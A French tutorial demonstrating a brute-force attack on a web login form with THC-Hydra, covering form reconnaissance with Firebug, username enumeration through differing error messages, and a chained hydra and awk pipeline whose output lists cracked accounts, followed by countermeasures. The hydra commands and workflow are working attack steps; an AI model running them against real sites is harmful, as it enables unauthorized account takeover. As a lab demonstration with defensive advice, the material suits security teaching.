Hydra contre l’homme carotte

Fireforce

Avant de vous parler de THC-Hydra, je souhaite juste vous dire deux mots au sujet de Fireforce, un petit plugin pour Firefox. Il offre la possibilité de tenter plusieurs méthodes de brute-force très simplement sur un champ que l’on a spécifié et ça marche plutôt pas mal. Vous le trouverez à cette adresse : addons.mozilla.org/fr/firefox/addon/fireforce/

 

Hydra For The Win

Pour réaliser cette démonstration, je me suis aidé d’un article paru sur insidetrust.com

Présentation des outils

hydra-logoHydra est un programme permettant de casser des mots de passe par force brute. Disponible en ligne de commande, il possède également une interface graphique. Sa particularité est qu’il permet de procéder à des attaques Online. Ce programme gère un très grand nombre de services, du ftp en passant par l’IMAP jusqu’à l’HTTPS… Ses concurrents directs sont medusa et ncrack. Il est nativement installé dans la distribution Backtrack 5 que j’utilise pour la démonstration.

firebug-logoFirebug est un plugin pour Firefox (encore un !). C’est un outil très puissant utilisé par les développeurs aussi bien que par les vilains pirates. Il permet notamment d’éditer du code en live, et de visualiser les modifications du code en fonction des interactions de l’utilisateur avec la page !

 

Information Gathering & Firebug

A l’aide de Firebug ou simplement en étudiant le comportement d’une page il est possible de déduire un certain nombre d’éléments qui sont très utiles pour forger une requête hydra visant à tester l’authentification d’une page web. Dans le cadre de cette démonstration, ces éléments sont :

  • Le module chargé de l’authentification est http://target.com/cgi/login.asp bien que la page de login soit http://target.com/index.php
  • La méthode « POST » est utilisée pour envoyer les informations à la page,
  • Bad User est affiché sur la page lorsque l’utilisateur n’existe pas,
  • Bad Password est affiché sur la page lorsque l’utilisateur existe mais que le mot de passe est incorrect,
  • Nous connaissons la quasi-totalité des arguments transmis à cgi/login.asp.

Note: en testant quelques mots de passes courants comme admin, administrator, administrateur, root, <domaine>… Il est en général possible de détecter cette variation du message d’erreur. Dans notre cas il s’agissait de carrotman, un autre de ces identifiants que l’on rencontre trop souvent.

L’attaque de l’hydre

Maintenant que nous possédons assez d’informations, nous allons réaliser notre attaque (on utilisera hydra en ligne de commande). Grâce au login que nous possédons déjà, il est possible de tenter le même genre attaque qu’avec Fireforce en bénéficiant d’une vitesse d’exécution bien supérieure. Sans ces informations, la construction de la commande se serait faite un peu à l’aveuglette. Il aurait été alors compliqué de diagnostiquer un échec dû à une erreur dans de construction de la commande ou un échec normal résultant d’une authentification ratée.

N’allez pas vous imaginez qu’il est simple de trouver comment construire votre commande. Il vous faudra très probablement essuyer plusieurs échecs avant de trouver la bonne syntaxe. D’autant plus si vous ne possédez aucun couple login/password (le votre par exemple) comme ça pourrait être le cas sur un site publique :

hydra 192.168.100.47 http-form-post "cgi/login.asp:\
id=^USER^&password=^PASS^&:Bad Password" \
-l carrotman -P marmiton.txt -t 10 -w 30
Hydra v6.5 (c) 2011 by van Hauser / THC and David Maciejak
Hydra (http://www.thc.org/thc-hydra) starting at 2012-02-15 09:12:24
[DATA] 10 tasks, 1 servers, 23 login tries, ~2 tries per task
[DATA] attacking service http-post-form on port 80
[STATUS] attack finished for 192.168.100.47 (waiting for children)
[www-form] host: 192.168.100.47 login: CarrotMan pass: bourguignon
Hydra (http://www.thc.org/thc-hydra) finished at 2012-02-15 09:12:28

Les mots clés ^USER^ et ^PASS^ font référence respectivement aux options -l et -P (en majuscule car il s’agit d’un fichier). Les options -t -w permettent d’affiner l’attaque en forçant le nombre de threads démarrés par hydra et leur timeout.

 

Un peu plus loin

Avec cet outil plus flexible nous allons pouvoir récupérer le nom de quelques utilisateurs. Pour ce faire, nous utiliserons un dictionnaire contenant les quatre-cents noms de légume les plus communs en anglais et un mot de passe qui a toutes les chances d’être mauvais. Ainsi nous pourrons capter le message « Bad User » ou « Bad Password » pour déduire si l’utilisateur existe dans la base de données ou non.

La syntaxe de la commande change très légèrement par rapport à la dernière fois. Ce n’est plus -l mais -L  que nous utiliserons, ce qui nous permettra d’indiquer un fichier au lieu d’un utilisateur unique. Par contre nous n’utiliserons qu’un seul password avec -p au lieu d’un dictionnaire avec -P.

hydra 192.168.100.47 http-form-post "/cgi/login.asp:\
id=^USER^&password=^PASS^&:Bad User" \
-L vegbook.txt -p wrongpass -t 10 -w 30
Hydra v6.5 (c) 2011 by van Hauser / THC and David Maciejak
Hydra (http://www.thc.org/thc-hydra) starting at 2012-02-15 09:25:48
[DATA] 10 tasks, 1 servers, 402 login tries, ~40 tries per task
[DATA] attacking service http-post-form on port 80
[www-form] host: 192.168.100.47 login: beetguy pass: wrongpass
[www-form] host: 192.168.100.47 login: onionymous pass: wrongpass
[www-form] host: 192.168.100.47 login: applefag pass: wrongpass
[STATUS] attack finished for 192.168.100.47 (waiting for children)
[www-form] host: 192.168.100.47 login: maskedcucumber pass: wrongpass
[www-form] host: 192.168.100.47 login: eviltomatoe pass: wrongpass
[www-form] host: 192.168.100.47 login: rabbiradish pass: wrongpass
[www-form] host: 192.168.100.47 login: carrotman pass: wrongpass
Hydra (http://www.thc.org/thc-hydra) finished at 2012-02-15 09:26:25

En quelques secondes nous avons déjà trouvé sept noms d’utilisateurs ! On remarque que l’user est donné en cinquième colonne.  Il sera donc facile d’extraire uniquement cette information (avec des commandes comme sed / awk / grep) pour éventuellement fabriquer un second dictionnaire. ;)

Finalisation

Note : attention aux lignes émises en début et fin d’exécution de hydra, les commandes ci-dessous souffrent de ne pas faire la distinction…

hydra 192.168.100.47 http-form-post "/cgi/login.asp:\
id=^USER^&password=^PASS^&:Bad User" \
-L vegbook.txt -p badpass -t 10 -w 30 | awk '{ print $5 }' > users.txt

hydra 192.168.100.47 http-form-post "/cgi/login.asp:\
id=^USER^&password=^PASS^&:Bad Password" \
-L users.txt -P passbook.txt -t 10 -w 30 > result.txt
Hydra v6.5 (c) 2011 by van Hauser / THC and David Maciejak
Hydra (http://www.thc.org/thc-hydra) starting at 2012-02-15 09:53:07
[DATA] 10 tasks, 1 servers, 230 login tries, ~23 tries per task
[DATA] attacking service http-post-form on port 80
[www-form] host: 192.168.100.47 login: beetguy pass: sugarlove 
[www-form] host: 192.168.100.47 login: onionymous pass: crymotherfucker 
[www-form] host: 192.168.100.47 login: applefag pass: ilovemyfarts 
[www-form] host: 192.168.100.47 login: maskedcucumber pass: forwomen 
[www-form] host: 192.168.100.47 login: madtomatoe pass: redveghavesoul 
[www-form] host: 192.168.100.47 login: rabbiradish pass: shallomt
[STATUS] attack finished for 192.168.100.47 (waiting for children)
[www-form] host: 192.168.100.47   login: carrotman pass: bourguignon
Hydra (http://www.thc.org/thc-hydra) finished at 2012-02-15 09:53:42

En utilisant une liste contenant des milliers de nom d’utilisateurs potentiels et plusieurs dictionnaires contenant par exemple : les mots de passe les plus courants, des noms, des dates de naissances, des lieux, etc.. Ou contenant un mixe de toutes ces informations, il est probable qu’un très grand nombre de comptes soient compromis.

 

contre-mesures

durcissement de la politique de mots de passe

Dans ce cas précis, l’authentification à la plateforme pouvait être directement connecté à l’Active Directory. En définissant une stratégie assurant une certaine complexité des mots de passe utilisateurs, on sécurise d’un même coup le domaine et la base documentaire.  Voici un exemple de politique de sécurité dédiée aux mots de passe :

  • Comporter au moins huit caractères,
  • Contenir des caractères provenant de trois des quatre catégories suivantes,
  • Caractères majuscules anglais (A à Z),
  • Caractères minuscules anglais (a à z),
  • Chiffres en base 10 (0 à 9),
  • Caractères non alphabétiques (par exemple, !, $, #, %).

Exemple de mots de passe Bad Idea (piqué à comment ça marche) :

  • votre identifiant,
  •  un prénom ou un nom,
  • un mot du dictionnaire,
  • un mot à l’envers,
  • un mot suivi d’une date.

Opacification des erreurs

Il est de bonne aloi, lorsque l’on décide d’implémenter des messages d’erreurs liés aux tentatives de login, de ne pas faire la distinction entre une erreur dans le nom d’utilisateur et une erreur dans le mot de passe.

Ainsi, un pirate ne disposant d’aucune information ne sera pas en mesure de définir facilement la façon dont est construit le login. Par exemple pour John Do il est aussi probable que ce soit : do, j.do ou john.do, suivi ou non d’un @target.com.

Il serait aussi judicieux de mettre en place un système empêchant les attaques par force brute, en limitant le nombre de tentatives de connexion par minute par exemple…